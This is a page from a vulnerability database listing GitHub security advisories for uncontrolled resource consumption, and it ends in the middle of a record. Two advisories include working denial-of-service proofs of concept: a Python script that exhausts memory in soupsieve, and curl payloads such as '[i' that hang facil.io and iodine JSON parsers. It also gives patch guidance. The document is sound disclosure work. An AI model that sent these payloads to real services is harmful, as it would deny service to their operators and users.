CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5486 vulnerabilities reference this CWE, most recent first.
GHSA-2W8X-PFH9-CP77
Vulnerability from github – Published: 2024-11-11 15:31 – Updated: 2024-11-12 15:30In Helix Core versions prior to 2024.2, an unauthenticated remote Denial of Service (DoS) via the refuse function was identified. Reported by Karol Więsek.
{
"affected": [],
"aliases": [
"CVE-2024-10344"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-11T14:15:14Z",
"severity": "HIGH"
},
"details": "In Helix Core versions prior to 2024.2, an unauthenticated remote Denial of Service (DoS) via the refuse function was identified. Reported by Karol Wi\u0119sek.",
"id": "GHSA-2w8x-pfh9-cp77",
"modified": "2024-11-12T15:30:39Z",
"published": "2024-11-11T15:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10344"
},
{
"type": "WEB",
"url": "https://portal.perforce.com/s/detail/a91PA000001SZOrYAO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2W9P-MJ8F-374X
Vulnerability from github – Published: 2023-10-17 12:30 – Updated: 2024-04-04 08:42Mattermost Mobile fails to limit the maximum number of Markdown elements in a post allowing an attacker to send a post with hundreds of emojis to a channel and freeze the mobile app of users when viewing that particular channel.
{
"affected": [],
"aliases": [
"CVE-2023-5522"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-17T10:15:10Z",
"severity": "MODERATE"
},
"details": "Mattermost Mobile fails to limit\u00a0the maximum number of Markdown elements in a post allowing an attacker to send a post with hundreds of emojis to a channel and\u00a0freeze the mobile app of users when viewing that particular channel.\u00a0\n\n",
"id": "GHSA-2w9p-mj8f-374x",
"modified": "2024-04-04T08:42:56Z",
"published": "2023-10-17T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5522"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2WC2-FM75-P42X
Vulnerability from github – Published: 2026-07-09 13:37 – Updated: 2026-07-09 13:37Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to soupsieve.compile() or Beautiful Soup's .select() / .select_one() can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.
To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.
A 500 KB selector string triggers allocation of approximately 244 MB of heap memory - a 488x— amplification ratio**.
Details
Affected code: soupsieve/css_parser.py, lines ~204, 925, 1106
The soupsieve CSS parser splits comma-separated selector lists and creates one CSSSelector object per list item. Each CSSSelector object contains parsed selector data structures including SelectorList, Selector, and associated tag/attribute/pseudo-class metadata.
When a selector string such as a,a,a,... (with 250,000 comma-separated items) is passed to sv.compile(), the parser:
- Tokenises the entire string and identifies each comma-delimited segment (line ~1106)
- Parses each segment into a full
Selectorobject with all associated metadata (line ~925) - Stores all parsed selectors in a
SelectorList(line ~204)
Root cause: No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately 976 bytes of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like a expands into a complex object graph.
Attack surface: Any application that passes user-supplied CSS selectors to soupsieve.compile() or Beautiful Soup's .select() / .select_one().
Proof of Concept
import tracemalloc
import soupsieve as sv
tracemalloc.start()
# Build a 500 KB selector string: "a,a,a,...,a" (250,000 items)
count = 250_000
selector = ",".join("a" for _ in range(count))
print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)")
# Compile the selector — this allocates ~244 MB
compiled = sv.compile(selector)
current, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"Compiled selector count: {len(compiled.selectors):,}")
print(f"Current memory: {current / 1024 / 1024:.1f} MB")
print(f"Peak memory: {peak / 1024 / 1024:.1f} MB")
print(f"Amplification ratio: {peak / len(selector):.0f}x")
# Expected output:
# Selector string size: 499,999 bytes (488 KB)
# Compiled selector count: 250,000
# Current memory: ~244 MB
# Peak memory: ~244 MB
# Amplification ratio: ~488x
Impact
Severity: High
An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:
- OOM kills in containerised deployments (Kubernetes pods, Docker containers) with memory limits
- Swap thrashing on bare-metal servers, degrading performance for all co-located processes
- Process termination via Python's
MemoryErrorexception if the system runs out of addressable memory
| Parameter | Value |
|---|---|
| Input size | ~500 KB selector string |
| Memory allocated | ~244 MB |
| Amplification ratio | ~488× |
| Per-object overhead | ~976 bytes per selector |
| Authentication required | None |
| User interaction required | None |
Scalability of attack: The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.
Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.
Credit
Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.3"
},
"package": {
"ecosystem": "PyPI",
"name": "soupsieve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49476"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:37:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup\u0027s `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x\u2014 amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup\u0027s `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector \u00e2\u20ac\u201d this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python\u0027s `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488\u00c3\u2014 |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target\u0027s memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
"id": "GHSA-2wc2-fm75-p42x",
"modified": "2026-07-09T13:37:40Z",
"published": "2026-07-09T13:37:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/soupsieve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists"
}
GHSA-2WGG-QHC4-8436
Vulnerability from github – Published: 2022-03-08 00:00 – Updated: 2022-03-19 00:01IBM AIX 7.1, 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the AIX kernel to cause a denial of service. IBM X-Force ID: 212951.
{
"affected": [],
"aliases": [
"CVE-2021-38989"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-07T17:15:00Z",
"severity": "MODERATE"
},
"details": "IBM AIX 7.1, 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the AIX kernel to cause a denial of service. IBM X-Force ID: 212951.",
"id": "GHSA-2wgg-qhc4-8436",
"modified": "2022-03-19T00:01:40Z",
"published": "2022-03-08T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38989"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/212951"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6561277"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2WGH-CG2P-67MV
Vulnerability from github – Published: 2022-05-17 01:59 – Updated: 2022-05-17 01:59Sandstorm Cap'n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a large number of elements.
{
"affected": [],
"aliases": [
"CVE-2015-2312"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-09T18:29:00Z",
"severity": "HIGH"
},
"details": "Sandstorm Cap\u0027n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a large number of elements.",
"id": "GHSA-2wgh-cg2p-67mv",
"modified": "2022-05-17T01:59:31Z",
"published": "2022-05-17T01:59:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2312"
},
{
"type": "WEB",
"url": "https://github.com/capnproto/capnproto/commit/104870608fde3c698483fdef6b97f093fc15685d"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=780567"
},
{
"type": "WEB",
"url": "https://github.com/capnproto/capnproto/blob/master/security-advisories/2015-03-02-2-all-cpu-amplification.md"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/03/17/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2WGW-4X82-63XQ
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20FORT Validator versions prior to 1.5.2 will crash if an RPKI CA publishes an X.509 EE certificate. This will lead to RTR clients such as BGP routers to lose access to the RPKI VRP data set, effectively disabling Route Origin Validation.
{
"affected": [],
"aliases": [
"CVE-2021-43114"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-09T13:15:00Z",
"severity": "HIGH"
},
"details": "FORT Validator versions prior to 1.5.2 will crash if an RPKI CA publishes an X.509 EE certificate. This will lead to RTR clients such as BGP routers to lose access to the RPKI VRP data set, effectively disabling Route Origin Validation.",
"id": "GHSA-2wgw-4x82-63xq",
"modified": "2022-05-24T19:20:08Z",
"published": "2022-05-24T19:20:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43114"
},
{
"type": "WEB",
"url": "https://github.com/NICMx/FORT-validator/commit/274dc14aed1eb9b3350029d1063578a6b9c77b54"
},
{
"type": "WEB",
"url": "https://github.com/NICMx/FORT-validator/commit/425e0f4037b4543fe8044ac96ca71d6d02d7d8c5"
},
{
"type": "WEB",
"url": "https://github.com/NICMx/FORT-validator/commit/673c679b6bf3f4187cd5242c31a795bf8a6c22b3"
},
{
"type": "WEB",
"url": "https://github.com/NICMx/FORT-validator/commit/eb68ebbaab50f3365aa51bbaa17cb862bf4607fa"
},
{
"type": "WEB",
"url": "https://github.com/NICMx/FORT-validator/releases/tag/1.5.2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-5033"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2WQP-JMCC-MC77
Vulnerability from github – Published: 2021-04-19 14:47 – Updated: 2021-04-16 23:13Unsafe validation RegEx in EmailField component in com.vaadin:vaadin-text-field-flow versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.
- https://vaadin.com/security/cve-2021-31405
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.6"
},
{
"fixed": "14.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "17.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-31405"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-16T23:13:14Z",
"nvd_published_at": "2021-04-23T16:15:00Z",
"severity": "HIGH"
},
"details": "Unsafe validation RegEx in `EmailField` component in `com.vaadin:vaadin-text-field-flow` versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2021-31405",
"id": "GHSA-2wqp-jmcc-mc77",
"modified": "2021-04-16T23:13:14Z",
"published": "2021-04-19T14:47:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vaadin/platform/security/advisories/GHSA-2wqp-jmcc-mc77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31405"
},
{
"type": "WEB",
"url": "https://github.com/vaadin/flow-components/pull/442"
},
{
"type": "WEB",
"url": "https://vaadin.com/security/cve-2021-31405"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17"
}
GHSA-2WXG-6MGC-2CM5
Vulnerability from github – Published: 2025-07-05 09:30 – Updated: 2025-07-05 09:30A vulnerability classified as problematic has been found in vercel hyper up to 3.4.1. This affects the function expand/braceExpand/ignoreMap of the file hyper/bin/rimraf-standalone.js. The manipulation leads to inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-7074"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-05T09:15:27Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic has been found in vercel hyper up to 3.4.1. This affects the function expand/braceExpand/ignoreMap of the file hyper/bin/rimraf-standalone.js. The manipulation leads to inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-2wxg-6mgc-2cm5",
"modified": "2025-07-05T09:30:30Z",
"published": "2025-07-05T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7074"
},
{
"type": "WEB",
"url": "https://github.com/vercel/hyper/issues/8098"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.314973"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.314973"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.602353"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2X26-CF8J-QVPF
Vulnerability from github – Published: 2022-05-14 01:28 – Updated: 2022-05-14 01:28An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. Several data types used as RPC input variables were implemented as unbounded array types, limited only by the inherent 32-bit length field to 4 GB. An unauthenticated attacker could send, or claim to send, large input values and consume server resources waiting for those inputs, denying service to other valid connections.
{
"affected": [],
"aliases": [
"CVE-2018-16949"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-12T01:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. Several data types used as RPC input variables were implemented as unbounded array types, limited only by the inherent 32-bit length field to 4 GB. An unauthenticated attacker could send, or claim to send, large input values and consume server resources waiting for those inputs, denying service to other valid connections.",
"id": "GHSA-2x26-cf8j-qvpf",
"modified": "2022-05-14T01:28:02Z",
"published": "2022-05-14T01:28:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16949"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00024.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4302"
},
{
"type": "WEB",
"url": "http://openafs.org/pages/security/OPENAFS-SA-2018-003.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2X79-GWQ3-VXXM
Vulnerability from github – Published: 2026-04-14 23:41 – Updated: 2026-06-08 23:17Summary
fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.
The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.
Details
The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).
This parser is reached from real library entry points, not just the header in isolation:
facil.io:lib/facil/fiobj/fiobj_json.c:377-387(fiobj_json2obj) and402-411(fiobj_hash_update_json)iodine:ext/iodine/iodine_json.c:161-177(iodine_json_convert)iodine:ext/iodine/fiobj_json.c:377-387and402-411
Relevant flow:
- Inside an array or object, the parser sees
iorIand jumps to thenumeral:label. - It calls
fio_atol((char **)&tmp). - For a bare
i/I,fio_atolconsumes zero characters and leavestmp == pos. - The current code only falls back to float parsing when
JSON_NUMERAL[*tmp]is true. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and setspos = tmpwithout advancing.- Because parsing is still nested (
parser->depth > 0), the outer loop continues forever with the samepos.
The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.
Why the [""i form hangs:
- The parser accepts the empty string
""as the first array element. - It does not require a comma before the next token.
- The trailing
iis then parsed as a new nested value. - The zero-progress numeral path above causes the infinite loop.
Examples that trigger the bug:
- Array form, minimal:
[i - Object form:
{"a":i - After a quoted value in an array:
[""i - After a quoted value in an object:
{"a":""i
PoC
Environment used for verification:
facil.iocommit:162df84001d66789efa883eebb0567426d00148eiodinecommit:5bebba698d69023cf47829afe51052f8caa6c7f8- standalone compile against
fio_json_parser.h
Minimal standalone program
Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>
static void on_request(http_s *h) {
fprintf(stderr, "calling http_parse_body\n");
fflush(stderr);
http_parse_body(h);
fprintf(stderr, "returned from http_parse_body\n");
http_send_body(h, "ok\n", 3);
}
int main(void) {
if (http_listen("3000", "127.0.0.1",
.on_request = on_request,
.max_body_size = (1024 * 1024),
.log = 1) == -1) {
perror("http_listen");
return 1;
}
fio_start(.threads = 1, .workers = 1);
return 0;
}
http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.
Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:
git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc
Run:
./tmp/http_json_poc
Then in another terminal send one of these payloads:
printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
Observed result on a vulnerable build:
- The server prints
calling http_parse_bodyand never reachesreturned from http_parse_body. - The request never completes.
- One worker thread spins until the process is killed.
Downstream impact in iodine
iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.
Single-file iodine HTTP server repro:
require "iodine"
APP = proc do |env|
body = env["rack.input"].read.to_s
warn "calling Iodine::JSON.parse on: #{body.inspect}"
Iodine::JSON.parse(body)
warn "returned from Iodine::JSON.parse"
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end
Iodine.listen service: :http,
address: "127.0.0.1",
port: "3000",
handler: APP
Iodine.threads = 1
Iodine.workers = 1
Iodine.start
Run:
ruby iodine_json_parse_http_poc.rb
Then in a second terminal:
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.
Impact
This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.
I would describe the impact as:
- Availability impact: high for affected parser entry points
- Confidentiality impact: none observed
- Integrity impact: none observed
Suggested Patch
Treat zero-consumption numeric parses as failures before accepting the token.
diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
uint8_t *tmp = pos;
long long i = fio_atol((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp]) {
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
tmp = pos;
double f = fio_atof((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp])
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
goto error;
fio_json_on_float(parser, f);
pos = tmp;
This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.
The same change should be mirrored to iodine's vendored copy:
ext/iodine/fio_json_parser.h
Impact
facil.io- Verified on
mastercommit162df84001d66789efa883eebb0567426d00148e(git describe:0.7.5-24-g162df840) - Verified on tagged releases
0.7.5and0.7.6 iodineRuby gem- Verified on repo commit
5bebba698d69023cf47829afe51052f8caa6c7f8 - Verified on tag / gem version
v0.7.58 - The gem vendors a copy of the vulnerable parser in
ext/iodine/fio_json_parser.h
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "iodine"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41146"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:41:06Z",
"nvd_published_at": "2026-04-22T02:16:02Z",
"severity": "HIGH"
},
"details": "### Summary\n`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.\n\nThe smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[\"\"i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.\n\n### Details\nThe vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).\n\nThis parser is reached from real library entry points, not just the header in isolation:\n\n- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)\n- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)\n- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`\n\nRelevant flow:\n\n1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.\n2. It calls `fio_atol((char **)\u0026tmp)`.\n3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.\n4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.\n5. 